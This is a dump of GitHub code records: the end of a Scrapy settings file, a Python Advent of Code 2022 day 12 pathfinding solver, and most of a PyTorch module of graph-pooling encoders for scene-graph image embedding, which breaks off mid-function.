]\n\n# Crawl responsibly by identifying yourself (and your website) on the user-agent\n#USER_AGENT = 'scrapyTest (+http://www.yourdomain.com)'\n","repo_name":"xiaohangsu/classmonitor","sub_path":"scrapy_jwcSYSU/scrapy_jwcSYSU/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1637,"program_lang":"python","lang":"zh","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"19032959679","text":"from collections import deque\nfrom functools import partial\nfrom operator import is_not\nfrom typing import List, Optional, Set, Tuple, TypeVar, TypedDict\n\n\nPoint = Tuple[int, int]\n\n\nclass ClimbingInput(TypedDict):\n start: Point\n end: Point\n grid: List[List[int]]\n\n\ndef main() -> None:\n input = read_input(\"src/advent_of_code_2022/day12/input.txt\")\n climbing_input = parse(input)\n\n print(\n f\"1 -> {solve_part1(climbing_input['grid'], climbing_input['start'], climbing_input['end'])}\"\n )\n print(\n f\"2 -> {solve_part2(climbing_input['grid'], climbing_input['start'], climbing_input['end'])}\"\n )\n\n\ndef solve_part1(grid: List[List[int]], start: Point, end: Point) -> Optional[int]:\n visited_grid: List[List[bool]] = create_matrix(len(grid), len(grid[0]), False)\n steps_grid: List[List[int]] = create_matrix(len(grid), len(grid[0]), -1)\n\n candidates: Set[Point] = {start}\n\n steps = 0\n while len(candidates) > 0:\n next_candidates: Set[Point] = set()\n\n for p in candidates:\n visited_grid[p[0]][p[1]] = True\n steps_grid[p[0]][p[1]] = steps\n if p == end:\n return steps\n\n curr_height = grid[p[0]][p[1]]\n\n neighbours = [\n (p[0] + 1, p[1]),\n (p[0] - 1, p[1]),\n (p[0], p[1] + 1),\n (p[0], p[1] - 1),\n ]\n neighbours = [\n n\n for n in neighbours\n if n[0] >= 0\n and n[0] < len(grid)\n and n[1] >= 0\n and n[1] < len(grid[0])\n and grid[n[0]][n[1]] <= curr_height + 1\n and visited_grid[n[0]][n[1]] == False\n ]\n next_candidates.update(neighbours)\n\n # if steps % 5 == 0:\n # print_steps_grid(steps_grid)\n\n candidates = next_candidates\n\n steps += 1\n\n return None\n\n\ndef solve_part2(grid: List[List[int]], start: Point, end: Point) -> int:\n all_starts: List[Point] = [\n (i, j)\n for (i, row) in enumerate(grid)\n for (j, e) in enumerate(row)\n if chr(e) == \"a\"\n ] + [start]\n\n return min(\n [\n res\n for res in [solve_part1(grid, s, end) for s in all_starts]\n if res is not None\n ]\n )\n\n\ndef print_steps_grid(grid: List[List[int]]) -> None:\n for row in grid:\n print(\"\".join([f\"{e:3}\" if e >= 0 else \" .\" for e in row]))\n print(\"----------------\")\n\n\ndef parse(input: List[str]) -> ClimbingInput:\n grid = create_matrix(len(input), len(input[0]), 0)\n\n start = None\n end = None\n for (i, row) in enumerate(input):\n for (j, e) in enumerate(row):\n if e == \"S\":\n start = (i, j)\n e = \"a\"\n elif e == \"E\":\n end = (i, j)\n e = \"z\"\n\n grid[i][j] = ord(e)\n\n if not start:\n raise AssertionError()\n if not end:\n raise AssertionError()\n\n return {\n \"start\": start,\n \"end\": end,\n \"grid\": grid,\n }\n\n\ndef read_input(file_name: str) -> List[str]:\n with open(file_name) as f:\n return [line.strip() for line in f]\n\n\nT = TypeVar(\"T\")\n\n\ndef create_matrix(rows: int, cols: int, filler: T) -> List[List[T]]:\n return [[filler for _ in range(cols)] for _ in range(rows)]\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"bohdanvan/advent-of-code","sub_path":"src/advent_of_code_2022/day12/day12.py","file_name":"day12.py","file_ext":"py","file_size_in_byte":3415,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"31243929694","text":"from math import ceil\nimport torch\nimport torch.nn as nn\nimport torch.nn.init\nimport torch.nn.functional as F\nimport torchvision.models as models\nfrom torch.autograd import Variable\nfrom torch.nn.utils.rnn import pack_padded_sequence, pad_packed_sequence\nimport torch.backends.cudnn as cudnn\nfrom torch.nn.utils.clip_grad import clip_grad_norm\nimport numpy as np\nfrom collections import OrderedDict\nfrom torch.nn import Linear, Sequential, ReLU, BatchNorm1d as BN\nfrom torch_geometric.nn import DenseSAGEConv, DenseGINConv, GCNConv, global_mean_pool\nfrom torch_geometric.utils import dense_to_sparse\nfrom model_graph_ssgpool import DenseGCNConv, dense_diff_pool, get_Spectral_loss, dense_ssgpool, dense_ssgpool_gumbel, SAGPooling\n#from torch_geometric.nn import GCNConv\n\nfrom sentence_transformers import SentenceTransformer\n\n\ndef l2norm(X, eps=1e-10):\n \"\"\"L2-normalize columns of X\n \"\"\"\n norm = torch.pow(X, 2).sum(dim=1, keepdim=True).sqrt()\n X = torch.div(X, norm+eps)\n return X\n\nclass GNN_Block(torch.nn.Module):\n def __init__(self, in_channels, hidden_channels, out_channels):\n super(GNN_Block, self).__init__()\n\n self.conv1 = DenseGCNConv(in_channels, hidden_channels)\n self.conv2 = DenseGCNConv(hidden_channels, hidden_channels)\n self.lin = nn.Linear(hidden_channels + hidden_channels, out_channels)\n\n\n def reset_parameters(self):\n self.conv1.reset_parameters()\n self.conv2.reset_parameters()\n self.lin.reset_parameters()\n\n def forward(self, x, adj, mask=None, add_loop=True):\n x1 = F.relu(self.conv1(x, adj, mask, add_loop))\n x2 = F.relu(self.conv2(x1, adj, mask, add_loop))\n out = self.lin(torch.cat((x1, x2), -1))\n\n return out\n\n\nclass GNN_Block_sparse(torch.nn.Module):\n def __init__(self, in_channels, hidden_channels, out_channels):\n super(GNN_Block_sparse, self).__init__()\n\n self.conv1 = GCNConv(in_channels, hidden_channels)\n self.conv2 = GCNConv(hidden_channels, hidden_channels)\n self.lin = nn.Linear(hidden_channels + hidden_channels, out_channels)\n\n def reset_parameters(self):\n self.conv1.reset_parameters()\n self.conv2.reset_parameters()\n self.lin.reset_parameters()\n\n def forward(self, x, edge_index, mask=None, add_loop=True):\n x1 = F.relu(self.conv1(x, edge_index))\n x2 = F.relu(self.conv2(x1, edge_index))\n out = self.lin(torch.cat((x1, x2), -1))\n\n return out\n\nclass Encoder_word(nn.Module):\n def __init__(self, vocab_size, word_dim, word_emb=None, dropRate=0.0):\n super(Encoder_word, self).__init__()\n\n self.embed = nn.Embedding(vocab_size, word_dim)\n self.embed.weight.requires_grad = False\n self.word_emb = word_emb\n self.droprate = dropRate\n self.init_weights()\n\n def init_weights(self):\n if self.word_emb is not None:\n self.embed.weight.data.copy_(torch.from_numpy(self.word_emb))\n else:\n self.embed.weight.data.uniform_(-0.1, 0.1)\n\n def forward(self, X, eps=1e-10):\n out = self.embed(X)\n\n return out\n\ndef EncoderImage(data_name, img_dim, vocab_size, word_dim, embed_size, word_emb, finetune=False,\n cnn_type='vgg19', gmodel_type=None, use_abs=False, no_imgnorm=False, use_SG=False,\n use_specloss=False, use_entrloss=False, use_linkloss=False, num_layers=1, pool_ratio=0.1):\n \"\"\"A wrapper to image encoders. Chooses between an encoder that uses\n precomputed image features, `EncoderImagePrecomp`, or an encoder that\n computes image features on the fly `EncoderImageFull`.\n \"\"\"\n if data_name.endswith('_precomp'):\n img_enc = EncoderImagePrecomp(\n img_dim, embed_size, use_abs, no_imgnorm)\n else:\n '''\n if use_SG == True and cnn_type is not None:\n if gmodel_type=='diffpool':\n img_enc = EncoderSSGPool_select_cnn(vocab_size, word_dim,\n embed_size, word_emb, use_abs, no_imgnorm, finetune, cnn_type,\n use_specloss, use_entrloss, use_linkloss)\n elif gmodel_type=='ssgpool':\n img_enc = EncoderSSGPool_select_cnn(vocab_size, word_dim,\n embed_size, word_emb, use_abs, no_imgnorm, finetune, cnn_type,\n use_specloss, use_entrloss, use_linkloss)\n\n elif gmodel_type=='ssgpool_select':\n img_enc = EncoderSSGPool_select_cnn(vocab_size, word_dim,\n embed_size, word_emb, use_abs, no_imgnorm, finetune, cnn_type,\n use_specloss, use_entrloss, use_linkloss)\n elif gmodel_type=='gcn':\n img_enc = EncoderSSGPool_select_cnn(vocab_size, word_dim,\n embed_size, word_emb, use_abs, no_imgnorm, finetune, cnn_type,\n use_specloss, use_entrloss, use_linkloss)\n else:\n print(\"gmodel_type NEEDED\")\n '''\n if use_SG == True:\n if gmodel_type=='diffpool':\n img_enc = EncoderDiffPool(vocab_size, word_dim,\n embed_size, word_emb, use_abs, no_imgnorm,\n use_specloss, use_entrloss, use_linkloss, num_layers, pool_ratio)\n elif gmodel_type=='ssgpool':\n img_enc = EncoderSSGPool(vocab_size, word_dim,\n embed_size, word_emb, use_abs, no_imgnorm,\n use_specloss, use_entrloss, use_linkloss, num_layers, pool_ratio)\n\n elif gmodel_type=='gcn':\n img_enc = EncoderGCN(vocab_size, word_dim,\n embed_size, word_emb, use_abs, no_imgnorm, num_layers)\n elif gmodel_type=='sagpool':\n img_enc = EncoderSAGPool(vocab_size, word_dim,\n embed_size, word_emb, use_abs, no_imgnorm,\n use_specloss, use_entrloss, use_linkloss, num_layers, pool_ratio)\n\n else:\n print(\"gmodel_type NEEDED\")\n else:\n img_enc = EncoderImageFull(\n embed_size, finetune, cnn_type, use_abs, no_imgnorm)\n\n return img_enc\n\nclass EncoderGCN(nn.Module):\n\n def __init__(self, vocab_size, word_dim, embed_size, word_emb, use_abs=False, no_imgnorm=False, num_layers=1):\n \"\"\"Load pretrained VGG19 and replace top fc layer.\"\"\"\n super(EncoderGCN, self).__init__()\n self.embed_size = embed_size\n self.no_imgnorm = no_imgnorm\n self.use_abs = use_abs\n self.embed = word_emb\n self.embed_final = nn.Linear(embed_size, embed_size)\n\n # Load a pre-trained model\n self.gnn1 = GNN_Block(word_dim, embed_size, embed_size) # DenseGCNConv(word_dim, embed_size)\n self.gnn2 = GNN_Block(embed_size, embed_size, embed_size) # DenseGCNConv(embed_size, embed_size)\n #self.gnn3 = DenseGCNConv(embed_size, embed_size)\n\n def forward(self, images, lengths):\n \"\"\"Extract image feature vectors.\"\"\"\n x = images['nodes']\n adj = images['adj']\n adj = ((adj + adj.transpose(1, 2)) > 0.).float()\n\n mask = torch.arange(max(lengths)).expand(len(lengths), max(lengths)).cuda() < lengths.unsqueeze(1)\n\n x = self.embed(x)\n features = F.relu(self.gnn1(x, adj, mask))\n #features = F.dropout(features, 0.5)\n features = self.gnn2(features, adj, mask)\n #features = self.gnn3(features, adj, mask)\n #features += x\n\n\n feature_out = torch.sum(features, 1) / lengths.unsqueeze(-1).to(x.dtype)\n #feature_out = self.embed_final(feature_out)\n #feature_out = self.embed_final(feature_out)\n\n if not self.no_imgnorm:\n feature_out = l2norm(feature_out)\n\n # take the absolute value of the embedding (used in order embeddings)\n if self.use_abs:\n feature_out = torch.abs(feature_out)\n #feature_out = F.dropout(feature_out, 0.5)\n regloss = (torch.Tensor([0.]), torch.Tensor([0.]), torch.Tensor([0.]))#0.\n return feature_out, regloss\n\nclass EncoderDiffPool(nn.Module):\n\n def __init__(self, vocab_size, word_dim, embed_size, word_emb, use_abs=False, no_imgnorm=False,\n use_specloss=False, use_entrloss=False, use_linkloss=False, num_layers=1, pool_ratio=0.1):\n \"\"\"Load pretrained VGG19 and replace top fc layer.\"\"\"\n super(EncoderDiffPool, self).__init__()\n self.embed_size = embed_size\n self.no_imgnorm = no_imgnorm\n self.use_abs = use_abs\n self.use_specloss = use_specloss\n self.use_entrloss = use_entrloss\n self.use_linkloss = use_linkloss\n self.embed = word_emb\n #self.embed_final = nn.Linear(embed_size, embed_size)\n\n num_layers = num_layers\n ratio = pool_ratio\n max_num_nodes = 300\n num_nodes = num_nodes = ceil(ratio * max_num_nodes)\n # Load a pre-trained model\n self.embed_block1 = GNN_Block(word_dim, embed_size, embed_size) #DenseGCNConv(word_dim, embed_size) #\n # self.gnn_pool = GNN_Block(embed_size, embed_size, 1) #DenseGCNConv(embed_size, 20)#\n self.pool_block1 = GNN_Block(embed_size, embed_size, num_nodes) #DenseGCNConv(embed_size, num_nodes) #\n\n self.embed_blocks = torch.nn.ModuleList()\n self.pool_blocks = torch.nn.ModuleList()\n\n for i in range(num_layers - 1):\n num_nodes = ceil(ratio * num_nodes)\n self.embed_blocks.append(GNN_Block(embed_size, embed_size, embed_size))\n self.pool_blocks.append(GNN_Block(embed_size, embed_size, num_nodes))\n\n self.embed_final = GNN_Block(embed_size, embed_size, embed_size) # GNN_Block(embed_size, embed_size, embed_size) #\n self.linear_f = nn.Linear(embed_size * (num_layers+1), embed_size)\n def forward(self, images, lengths):\n \"\"\"Extract image feature vectors.\"\"\"\n x = images['nodes']\n adj = images['adj']\n adj = ((adj + adj.transpose(1, 2)) > 0.).float()\n spec_losses = 0.\n entr_losses = 0.\n link_losses = 0.\n mask = torch.arange(max(lengths)).expand(len(lengths), max(lengths)).cuda() < lengths.unsqueeze(1)\n\n x = self.embed(x)\n\n s = self.pool_block1(x, adj, mask, add_loop=True)\n x = F.relu(self.embed_block1(x, adj, mask, add_loop=True))\n xs = [torch.sum(x, 1) / (mask.sum(-1, keepdims=True).to(x.dtype)+1e-10)]\n x, adj, link_loss, ent_loss = dense_diff_pool(x, adj, s, mask)\n link_losses += link_loss\n entr_losses += ent_loss\n for i, (embed_block, pool_block) in enumerate(\n zip(self.embed_blocks, self.pool_blocks)):\n s = pool_block(x, adj)\n x = F.relu(embed_block(x, adj))\n xs.append(x.mean(dim=1))\n if i < len(self.embed_blocks):\n x, adj, link_loss, ent_loss = dense_diff_pool(x, adj, s)\n link_losses += link_loss\n entr_losses += ent_loss\n\n spec_losses += torch.Tensor([0.])\n #features = F.dropout(features, 0.5)\n x = self.embed_final(x, adj)\n\n xs.append(torch.mean(x, 1))\n final_x = F.dropout(torch.cat(xs, -1), p=0.5, training=self.training)\n feature_out = self.linear_f(final_x)\n #feature_out = x.mean(dim=1)\n\n\n\n if not self.no_imgnorm:\n feature_out = l2norm(feature_out)\n\n # take the absolute value of the embedding (used in order embeddings)\n if self.use_abs:\n feature_out = torch.abs(feature_out)\n #feature_out = F.dropout(feature_out, 0.5)\n return feature_out, (spec_losses, entr_losses, link_losses)\n\n\nclass EncoderSSGPool(nn.Module):\n\n def __init__(self, vocab_size, word_dim, embed_size, word_emb, use_abs=False, no_imgnorm=False,\n use_specloss=False, use_entrloss=False, use_linkloss=False, num_layers=1, pool_ratio=0.1):\n \"\"\"Load pretrained VGG19 and replace top fc layer.\"\"\"\n super(EncoderSSGPool, self).__init__()\n self.embed_size = embed_size\n self.no_imgnorm = no_imgnorm\n self.use_abs = use_abs\n self.use_specloss = use_specloss\n self.use_entrloss = use_entrloss\n self.use_linkloss = use_linkloss\n self.embed = word_emb\n #self.embed_final = nn.Linear(embed_size, embed_size)\n num_layers = num_layers\n ratio = pool_ratio\n max_num_nodes = 300\n num_nodes = ceil(ratio * max_num_nodes)\n # Load a pre-trained model\n self.embed_block1 = GNN_Block(word_dim, embed_size, embed_size) #DenseGCNConv(word_dim, embed_size) #\n #self.gnn_pool = GNN_Block(embed_size, embed_size, 1) #DenseGCNConv(embed_size, 20)#\n self.pool_block1 = GNN_Block(embed_size, embed_size, num_nodes) #DenseGCNConv(embed_size, num_nodes) #\n\n self.embed_blocks = torch.nn.ModuleList()\n self.pool_blocks = torch.nn.ModuleList()\n\n for i in range(num_layers - 1):\n num_nodes = ceil(ratio * num_nodes)\n self.embed_blocks.append(GNN_Block(embed_size, embed_size, embed_size))\n self.pool_blocks.append(GNN_Block(embed_size, embed_size, num_nodes))\n\n self.embed_final = GNN_Block(embed_size, embed_size, embed_size) #DenseGCNConv(embed_size, embed_size) #\n self.linear_f = nn.Linear(embed_size * (num_layers+1) , embed_size)\n\n def forward(self, images, lengths):\n \"\"\"Extract image feature vectors.\"\"\"\n x = images['nodes']\n adj = images['adj']\n #adj = adj + adj.transpose(1, 2)\n adj = ((adj + adj.transpose(1, 2)) > 0.).float()\n spec_losses = 0.\n spec_losses_hard = 0.\n entr_losses = 0.\n coarsen_losses = 0.\n mask = torch.arange(max(lengths)).expand(len(lengths), max(lengths)).cuda() < lengths.unsqueeze(1)\n B, N, _ = adj.size()\n s_final = torch.eye(N).unsqueeze(0).expand(B, N, N).cuda()\n s_inv_final = torch.eye(N).unsqueeze(0).expand(B, N, N).cuda()\n s_inv_soft_final = torch.eye(N).unsqueeze(0).expand(B, N, N).cuda()\n ori_adj = adj\n\n x = self.embed(x)\n s = self.pool_block1(x, adj, mask, add_loop=True)\n x = F.relu(self.embed_block1(x, adj, mask, add_loop=True))\n #xs = [torch.sum(x, 1) / (mask.sum(-1, keepdims=True).to(x.dtype) + 1e-10)]\n #x, adj, Lapl, L_next, s, s_inv = dense_ssgpool(x, adj, s, mask)\n diag_ele = torch.sum(adj, -1)\n Diag = torch.diag_embed(diag_ele)\n Lapl = Diag - adj\n Lapl_ori = Lapl\n x, adj, L_next, L_next_soft, s, s_inv, s_inv_soft = dense_ssgpool_gumbel(x, adj, s, Lapl, Lapl, mask, is_training=self.training)\n\n s_final = torch.bmm(s_final, s)\n s_inv_final = torch.bmm(s_inv, s_inv_final)\n s_inv_soft_final = torch.bmm(s_inv_soft, s_inv_soft_final)\n\n for i, (embed_block, pool_block) in enumerate(\n zip(self.embed_blocks, self.pool_blocks)):\n s = pool_block(x, adj, add_loop=True)\n x = F.relu(embed_block(x, adj, add_loop=True))\n #xs.append(x.mean(dim=1))\n if i < len(self.embed_blocks):\n #x, adj, _, L_next, s, s_inv = dense_ssgpool(x, adj, s)\n x, adj, L_next, L_next_soft, s, s_inv, s_inv_soft = dense_ssgpool_gumbel(x, adj, s, L_next, L_next_soft, is_training=self.training)\n s_final = torch.bmm(s_final, s)\n s_inv_final = torch.bmm(s_inv, s_inv_final)\n s_inv_soft_final = torch.bmm(s_inv_soft, s_inv_soft_final)\n\n x = self.embed_final(x, adj, add_loop=True)\n # xs.append(torch.sum(x, 1) / mask.sum(-1, keepdims=True).to(x.dtype))\n #xs.append(torch.mean(x, 1))\n\n #feature_out = x.sum(dim=1)\n feature_out = x.mean(dim=1)\n #final_x = F.dropout(torch.cat(xs, -1), p=0.5, training=self.training)\n #feature_out = self.linear_f(torch.cat(xs, -1))\n\n\n spec_loss, spec_loss_hard = get_Spectral_loss(Lapl_ori, L_next, s_inv_final.transpose(1,2), L_next_soft, s_inv_soft_final.transpose(1, 2), 1, mask)\n\n '''\n sm_N = s_final.size(-1)\n identity = torch.eye(sm_N).unsqueeze(0).expand(B, sm_N, sm_N).cuda()\n norm_s_final = s_final / torch.sqrt(((s_final * s_final).sum(dim=1,keepdim=True)+ 1e-10))\n coarsen_loss = identity - torch.matmul(norm_s_final.transpose(1,2), norm_s_final)\n coarsen_loss = torch.sqrt((coarsen_loss * coarsen_loss).sum(dim=(1, 2)))\n '''\n coarsen_loss = ori_adj - torch.matmul(s_final, s_final.transpose(1,2))\n mask_ = mask.view(B, N, 1).to(x.dtype)\n coarsen_loss = coarsen_loss * mask_\n coarsen_loss = coarsen_loss * mask_.transpose(1, 2)\n #link_loss = torch.sqrt((link_loss * link_loss).sum(dim=(1, 2))) / (lengths*lengths + 1e-9)\n coarsen_loss = torch.sqrt((coarsen_loss * coarsen_loss).sum(dim=(1, 2)))\n\n\n spec_losses += spec_loss.mean()\n spec_losses_hard += spec_loss_hard.mean()\n entr_losses += torch.Tensor([0.]) #entr_loss.mean()\n coarsen_losses += coarsen_loss.mean()\n\n\n if not self.no_imgnorm:\n feature_out = l2norm(feature_out)\n\n # take the absolute value of the embedding (used in order embeddings)\n if self.use_abs:\n feature_out = torch.abs(feature_out)\n #feature_out = F.dropout(feature_out, 0.5)\n return feature_out, (spec_losses, spec_losses_hard, coarsen_losses)\n\n def forward_vis(self, images, lengths):\n \"\"\"Extract image feature vectors.\"\"\"\n x = images['nodes']\n adj = images['adj']\n # adj = adj + adj.transpose(1, 2)\n adj = ((adj + adj.transpose(1, 2)) > 0.).float()\n spec_losses = 0.\n entr_losses = 0.\n coarsen_losses = 0.\n mask = torch.arange(max(lengths)).expand(len(lengths), max(lengths)).cuda() < lengths.unsqueeze(1)\n B, N, _ = adj.size()\n s_inv_final = torch.eye(N).unsqueeze(0).expand(B, N, N).cuda()\n s_final = torch.eye(N).unsqueeze(0).expand(B, N, N).cuda()\n\n x = self.embed(x)\n x_next = F.relu(self.gnn_embed(x, adj, mask))\n s = self.gnn_pool(x, adj, mask)\n # xs = [x_next.mean(dim=1)]\n # xs = [torch.sum(x, 1) / lengths.unsqueeze(-1).to(x.dtype)]\n\n x_next, a_next, Lapl, L_next, s, s_inv = dense_ssgpool_gumbel(x_next, adj, s, mask)\n # x_next, a_next, Lapl, L_next, s, s_inv = dense_ssgpool(x_next, adj, s, mask)\n s_final = torch.bmm(s_final, s)\n s_inv_final = torch.bmm(s_inv, s_inv_final)\n\n '''Second layer'''\n # x = x_next\n # x_next = F.relu(self.gnn_embed2(x, a_next))\n # xs.append(x_next.mean(dim=1))\n\n # s = self.gnn_pool2(x, a_next)\n # x_next, a_next, _, L_next, s, s_inv = dense_ssgpool(x_next, a_next, s)\n # s_final = torch.bmm(s_final, s)\n # s_inv_final = torch.bmm(s_inv, s_inv_final)\n\n x = self.gnn_embed_f(x_next, a_next)\n feature_out = x.mean(dim=1)\n\n\n\n\n if not self.no_imgnorm:\n feature_out = l2norm(feature_out)\n\n # take the absolute value of the embedding (used in order embeddings)\n if self.use_abs:\n feature_out = torch.abs(feature_out)\n #feature_out = F.dropout(feature_out, 0.5)\n return feature_out, s_final.transpose(1,2)\n\n\n\nclass EncoderSAGPool(nn.Module):\n\n def __init__(self, vocab_size, word_dim, embed_size, word_emb, use_abs=False, no_imgnorm=False,\n use_specloss=False, use_entrloss=False, use_linkloss=False, num_layers=1, pool_ratio=0.1):\n \"\"\"Load pretrained VGG19 and replace top fc layer.\"\"\"\n super(EncoderSAGPool, self).__init__()\n self.embed_size = embed_size\n self.no_imgnorm = no_imgnorm\n self.use_abs = use_abs\n\n self.embed = word_emb\n self.word_dim = word_dim\n self.embed_size = embed_size\n self.gnn_embed = GNN_Block_sparse(word_dim, embed_size, embed_size) #GCNConv(word_dim, embed_size) #\n self.gnn_pool = SAGPooling(embed_size, 0.2)\n\n #self.gnn_embed2 = DenseGCNConv(word_dim, embed_size) #GNN_Block(word_dim, embed_size, embed_size) # #\n #self.gnn_pool2 = DenseGCNConv(embed_size, 10) #GNN_Block(embed_size, embed_size, 5) #\n\n self.gnn_embed_f = GNN_Block_sparse(embed_size, embed_size, embed_size) #GCNConv(embed_size, embed_size) #\n self.linear_f = nn.Linear(embed_size * 2 , embed_size)\n\n def forward(self, images, lengths):\n \"\"\"Extract image feature vectors.\"\"\"\n #print(\"processing\")\n x = images['nodes_flat']\n adj = images['adj_flat']\n batch = images['batch']\n #print(x)\n #print(adj)\n #print(batch)\n #adj = adj + adj.transpose(1, 2)\n adj = ((adj + adj.transpose(0, 1)) > 0.).float()\n edge_index, _ = dense_to_sparse(adj)\n\n x = self.embed(x)\n #x = x.squeeze(0)\n x = F.relu(self.gnn_embed(x, edge_index))\n xs = [global_mean_pool(x, batch)]\n x, edge_index, _, batch, _, _ =self.gnn_pool(x, edge_index, batch=batch)\n\n\n x = self.gnn_embed_f(x, edge_index)\n\n xs.append(global_mean_pool(x, batch))\n feature_out = self.linear_f(torch.cat(xs, -1))\n #feature_out = global_mean_pool(x, batch)\n if not self.no_imgnorm:\n feature_out = l2norm(feature_out)\n\n # take the absolute value of the embedding (used in order embeddings)\n if self.use_abs:\n feature_out = torch.abs(feature_out)\n\n\n spec_losses = torch.Tensor([0.])\n entr_losses = torch.Tensor([0.])\n coarsen_losses = torch.Tensor([0.])\n #feature_out = F.dropout(feature_out, 0.5)\n return feature_out, (spec_losses, entr_losses, coarsen_losses)\n\n\n\n'''\nclass EncoderSSGPool_select(nn.Module):\n\n def __init__(self, vocab_size, word_dim, embed_size, word_emb, use_abs=False, no_imgnorm=False,\n use_specloss=False, use_entrloss=False, use_linkloss=False):\n \"\"\"Load pretrained VGG19 and replace top fc layer.\"\"\"\n super(EncoderSSGPool_select, self).__init__()\n self.embed_size = embed_size\n self.no_imgnorm = no_imgnorm\n self.use_abs = use_abs\n self.use_specloss = use_specloss\n self.use_entrloss = use_entrloss\n self.use_linkloss = use_linkloss\n self.embed = word_emb\n self.num_layer = 2\n self.ratio = 0.5\n #self.att_linear = nn.Linear(embed_size, embed_size)\n #self.embed_final = nn.Linear(embed_size, embed_size)\n\n # Load a pre-trained model\n self.gnn_embed = DenseGCNConv(word_dim, embed_size) #GNN_Block(word_dim, embed_size, embed_size)##GNN_Block(word_dim, embed_size, embed_size)\n #self.gnn_pool =DenseGCNConv(embed_size, 1) #GNN_Block(embed_size, embed_size, 1)#\n self.gnn_pool_list = torch.nn.ModuleList()\n self.gnn_embed_list = torch.nn.ModuleList()\n self.final_linear = nn.Linear(embed_size * self.num_layer, embed_size)\n self.final_linear_njump = nn.Linear(embed_size, embed_size)\n for i in range(self.num_layer - 1):\n #num_nodes = ceil(ratio * num_nodes)\n self.gnn_pool_list.append(DenseGCNConv(embed_size, 1)) #GNN_Block(embed_size, embed_size, 1)\n self.gnn_embed_list.append(DenseGCNConv(embed_size, embed_size)) #GNN_Block(word_dim, embed_size, embed_size)\n #self.gnn_embed2 = GNN_Block(word_dim, embed_size, embed_size)#DenseGCNConv(embed_size, embed_size)\n #self.gnn_pool2 = GNN_Block(embed_size, embed_size, 1)\n #self.gnn3 = DenseGCNConv(embed_size, embed_size)\n\n def forward(self, images, lengths):\n \"\"\"Extract image feature vectors.\"\"\"\n x = images['nodes']\n adj = images['adj']\n adj = ((adj + adj.transpose(1, 2))>0.).float()\n spec_losses = 0.\n entr_losses = 0.\n link_losses = 0.\n B, N, _ = adj.size()\n mask = torch.arange(max(lengths)).expand(len(lengths), max(lengths)).cuda() < lengths.unsqueeze(1)\n mask_ori = mask\n P_final = torch.eye(N).unsqueeze(0).expand(B, N, N).cuda()\n P_inv_final = torch.eye(N).unsqueeze(0).expand(B, N, N).cuda()\n\n x = self.embed(x)\n x = self.gnn_embed(x, adj, mask)\n #xs = [x.sum(dim=1) / (mask.sum(-1).unsqueeze(-1) + 1e-10)]\n\n diag_ele = torch.sum(adj, -1) # , keepdim=True)\n Diag = torch.diag_embed(diag_ele)\n lapl = Diag - adj\n lapl_ori = lapl\n adj_ori = adj\n\n for i, (gnn_pool, gnn_embed) in enumerate(\n zip(self.gnn_pool_list, self.gnn_embed_list)):\n x = F.relu(x)\n a = gnn_pool(x, adj, mask)\n x_next, adj_next, mask_next, lapl_next, P, P_inv = dense_ssg_pool(x, lapl, a, mask, ratio=self.ratio)\n x = gnn_embed(x_next, adj_next, mask_next)\n\n adj = adj_next\n lapl = lapl_next\n mask = mask_next\n\n #xs.append(x.sum(dim=1) / (mask.sum(-1).unsqueeze(-1) + 1e-10))\n\n P_final = torch.bmm(P, P_final)\n #P_inv_final = torch.bmm(P_inv_final, P_inv)\n\n P_inv_final = P_final.transpose(1, 2) / ((P_final * P_final).sum(dim=-1).unsqueeze(1) + 1e-10)\n #features = F.dropout(features, 0.5)\n #feature_out = self.final_linear(torch.cat(xs, dim=-1))\n #feature_out = self.final_linear_njump(x)\n feature_out = x.sum(dim=1) / (mask.sum(-1).unsqueeze(-1) + 1e-10)\n\n spec_loss = get_Spectral_loss_lap(lapl_ori, lapl, P_inv_final, mask_ori)\n #spec_loss = adj_ori - torch.matmul(P_final.transpose(1, 2), P_final)\n\n #identity = torch.eye(N).unsqueeze(0).expand(B, N, N).cuda()\n #adj_ori = adj_ori + identity# for new link loss\n link_loss = adj_ori - torch.matmul(P_final.transpose(1, 2), P_final)\n mask_ = mask_ori.view(B, N, 1).to(x.dtype)\n link_loss = link_loss * mask_\n link_loss = link_loss * mask_.transpose(1, 2)\n link_loss = torch.sqrt((link_loss * link_loss).sum(dim=(1, 2)))\n\n entr_loss = (-P_final * torch.log(P_final + 1e-10)).sum(dim=1)\n entr_loss = entr_loss.sum(-1) / (mask_ori.sum(-1) + 1e-10)\n\n spec_losses += spec_loss.mean()\n entr_losses += entr_loss.mean()\n link_losses += link_loss.mean()\n\n\n if not self.no_imgnorm:\n feature_out = l2norm(feature_out)\n\n # take the absolute value of the embedding (used in order embeddings)\n if self.use_abs:\n feature_out = torch.abs(feature_out)\n #feature_out = F.dropout(feature_out, 0.5)\n return feature_out, (spec_losses, entr_losses, link_losses)\n\n def forward_vis(self, images, lengths):\n \"\"\"Extract image feature vectors.\"\"\"\n x = images['nodes']\n adj = images['adj']\n adj = adj + adj.transpose(1, 2)\n\n B, N, _ = adj.size()\n mask = torch.arange(max(lengths)).expand(len(lengths), max(lengths)).cuda() < lengths.unsqueeze(1)\n mask_ori = mask\n P_final = torch.eye(N).unsqueeze(0).expand(B, N, N).cuda()\n P_inv_final = torch.eye(N).unsqueeze(0).expand(B, N, N).cuda()\n\n x = self.embed(x)\n x = self.gnn_embed(x, adj, mask)\n #xs = [x.sum(dim=1) / (mask.sum(-1).unsqueeze(-1) + 1e-10)]\n\n diag_ele = torch.sum(adj, -1) # , keepdim=True)\n Diag = torch.diag_embed(diag_ele)\n lapl = Diag - adj\n lapl_ori = lapl\n adj_ori = adj\n\n for i, (gnn_pool, gnn_embed) in enumerate(\n zip(self.gnn_pool_list, self.gnn_embed_list)):\n x = F.relu(x)\n a = gnn_pool(x, adj, mask)\n x_next, adj_next, mask_next, lapl_next, P, P_inv = dense_ssg_pool(x, lapl, a, mask, ratio=self.ratio)\n x = gnn_embed(x_next, adj_next, mask_next)\n\n adj = adj_next\n lapl = lapl_next\n mask = mask_next\n\n #xs.append(x.sum(dim=1) / (mask.sum(-1).unsqueeze(-1) + 1e-10))\n\n P_final = torch.bmm(P, P_final)\n #P_inv_final = torch.bmm(P_inv_final, P_inv)\n\n P_inv_final = P_final.transpose(1, 2) / ((P_final * P_final).sum(dim=-1).unsqueeze(1) + 1e-10)\n 